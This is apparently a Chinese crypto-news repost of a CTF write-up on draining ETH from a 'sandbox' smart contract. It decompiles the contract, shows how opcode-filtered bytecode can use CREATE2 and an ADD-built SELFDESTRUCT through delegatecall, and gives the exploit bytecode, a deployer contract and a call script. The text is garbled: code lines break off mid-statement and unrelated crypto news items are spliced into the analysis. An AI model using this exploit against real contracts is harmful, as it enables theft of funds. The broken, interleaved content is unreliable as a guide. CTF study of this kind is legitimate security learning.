基于samczsun的解析文章學習
分析原文:
本文都是基于https://samczsun
elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}
再看到其的全局變量,一共有兩個,分別在slot0和slot1的位置處。可以看到這兩個全局變量都是uint256數組。
uint256array_0;//STORAGEuint256_owners;//STORAGE
依次分析函數,找到我們感興趣的部分,然后再深入調查該函數,看是否能夠達到我們的目標——拿到該合約的所有ETH。
Binance US:Convert閃兌交易對新增支持ARB和XRP:金色財經報道,加密貨幣交易所幣安美國子公司Binance US在官推宣布旗下Convert閃兌功能新增了支持ARB和XRP兩個新代幣的交易對,目前相關交易無交易費用。[2023/7/30 16:07:33]
首先是函數1:0x4214352d
function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg
//翻譯一下functionset_array(uint256_value,uint256_key)public{require(msg
可以看到該函數主要是對array_0進行賦值,在賦值前檢查了兩項:
msg
=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg
互操作性協議Connext Labs完成750萬美元融資:6月14日消息,互操作性協議Connext Labs以2.5億美元的估值籌集750萬美元,Polychain Capital、Polygon Ventures、Coinbase Ventures、Ethereal Ventures、1kx、Hashed和Scalar Capital等參投。該輪融資使Connext的總融資額達到2320萬美元。新資金將用于設立Connext基金會,該基金會將負責向Connext建立的計劃發放發展補助金和資金。
Connext表示正在“構建Web3的HTTP”,形成跨不同區塊鏈網絡的通信層,以便應用程序可以同時與多個網絡上的資金和數據進行交互。[2023/6/14 21:36:29]
與set_array函數類似
再看函數3:owners
functionowners(uint256varg0)publicnonPayable{require(msg
動態 | 公鏈項目Conflux與ChainLink建立戰略合作關系:公鏈項目Conflux宣布將與ChainLink建立戰略合作關系。Chainlink是一個公共的、去中心化的oracle網絡,可以快速、安全地連接智能合約。Chainlink目前通過其oracle與谷歌、SWIFT、Kaleido和Polkadot合作。(CryptoDaily)[2020/1/21]
=>functionowners(uint256_key)publicviewreturns(address){require(msg
最后看函數4:0x2918435f
function0x2918435f(addressvarg0)publicpayable{require(msg
v2=1;}require(v0);MEM=MEM(varg0
assert(v5<varg0
動態 | 趨勢科技:網絡犯罪分子利用Confluence軟件漏洞挖掘XMR:據cointelegraph報告,安全情報公司趨勢科技公司(Trend Micro Inc.)5月7日發布的一份報告顯示,網絡犯罪分子現在正在利用軟件Confluence中的已知漏洞CVE-2019-3396。該漏洞允許網絡犯罪分子在易受攻擊的計算機上隱秘地安裝和運行monero(XMR)礦機,并通過使用rootkit掩蓋挖掘活動。[2019/5/8]
v7,v8=varg0
require(v7);}
可以看到函數40x2918435f比較復雜,簡單分析函數4中有三層require:
要求調用該函數的msg
v2=1;}require(v0);=>翻譯一下:boolpermit=false;uint256i=0;while(i<_owners
動態 | ConsenSys Ventures和Tachyon已投資40家加密貨幣和區塊鏈初創企業:ConsenSys Ventures和其加速器Tachyon現已投資超過11個子類別的40家加密貨幣和區塊鏈初創企業。(The Block)[2019/5/7]
i=1;}require(permit);
3.要求作為傳入參數的地址addr,逐字節檢查該參數地址對應的代碼,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節。在黃皮書中這幾個字節對應的分別是:create,call,callcode,delegatecall,staticcall,selfdestruct.這部分對應的代碼比較復雜,我們將對比opcode,逐字翻譯```MEM=MEM(varg0
assert(v5<varg0
}
問題分析-2
現在我們需要滿足第三個條件,即構造一個合約,該合約對應的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節,因此需要我們手動來寫合約,然后通過該sandbox的第四個函數來delegatecall該合約,從而清空sandbox中的ETH。
首先明確我們使用create2,其為0xf5,我們可以首先看下黃皮書中關于create2的定義
簡單來說是先計算出要創建的合約的地址,然后執行要創建的合約的初始化代碼,再將該初始化代碼與要創建的合約地址進行關聯。
故我們需要一個合約,他的runtimecode中執行一個create2函數,創建一個臨時合約,并將上下文環境中的address(this)里的全部ETH都作為贈品贈與該臨時合約,該臨時合約的初始化代碼中應該執行selfdestruct(tx.orgin)函數來將所有的ETH轉移給合約部署人。
先用opcode來寫runtimecode:
//tx.origin這里的ORIGIN是payload,不應該被執行,故需要改為push10x32//SELFDESTRUCT//構造payload,因為SELFDESTRUCT是0xff,不能被使用,故可以通過ADD來繞道實現push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//構造payload0x40->0x32ff,push100//Us->salt鹽push10x04//Us->length長度4push10x3e//us->offset偏移值->內存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH數量->應該是該address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5
在寫該合約的初始化代碼,可以用solidity寫了,因為是我自己執行來部署該runtimecode
contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}
然后部署HackCTF合約,在調用ctf中的第四個函數,將該合約的地址作為參數傳進去即可
hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())
免責聲明:作為區塊鏈信息平臺,本站所發布文章僅代表作者個人觀點,與鏈聞ChainNews立場無關。文章內的信息、意見等均僅供參考,并非作為或被視為實際投資建議。
本文來源于非小號媒體平臺:
登鏈社區
現已在非小號資訊平臺發布105篇作品,
非小號開放平臺歡迎幣圈作者入駐
入駐指南:
/apply_guide/
本文網址:
/news/10087897.html
免責聲明:
1.資訊內容不構成投資建議,投資者應獨立決策并自行承擔風險
2.本文版權歸屬原作所有,僅代表作者本人觀點,不代表非小號的觀點或立場
上一篇:
SendingLabs完成1250萬美元種子輪融資,以構建「Web3通信堆棧」
尊敬的ZT用戶:ZT創新板即將上線SNXBULL,SNXBEAR,YFIBULL,YFIBEAR,并開啟SNXBULL/USDT,SNXBEAR/USDT,YFIBULL/USDT.
1900/1/1 0:00:00據消息,美國10年期國債收益率跌破1.428%,續刷3月3日來新低。BTC昨日晚間開始連續回升,凌晨突破36000USDT后小幅回落,BTC短時跌破35500USDT,最低跌至35410USDT.
1900/1/1 0:00:006月17日,杭州市拱墅區人民政府辦公室發布了《區政府2020年度工作總結和2021年工作思路》.
1900/1/1 0:00:00回歸Gate.io有驚喜,做任務贏好禮!為回饋廣大新老用戶對Gate.io合約的支持,Gate.io針對新注冊及回歸用戶特別推出“合約驚喜周,分10,000美金活動”,共送出10.
1900/1/1 0:00:00尊敬的ZT用戶: ????ZT于2021年6月18日17:00開啟交易DOGE、PIG、SHIB、BABYDOG送SHAB活動.
1900/1/1 0:00:00鏈聞消息,據TechCrunch報道,加密金融服務商AmberGroup完成1億美元的B輪融資,估值達10億美元,華興資本領投.
1900/1/1 0:00:00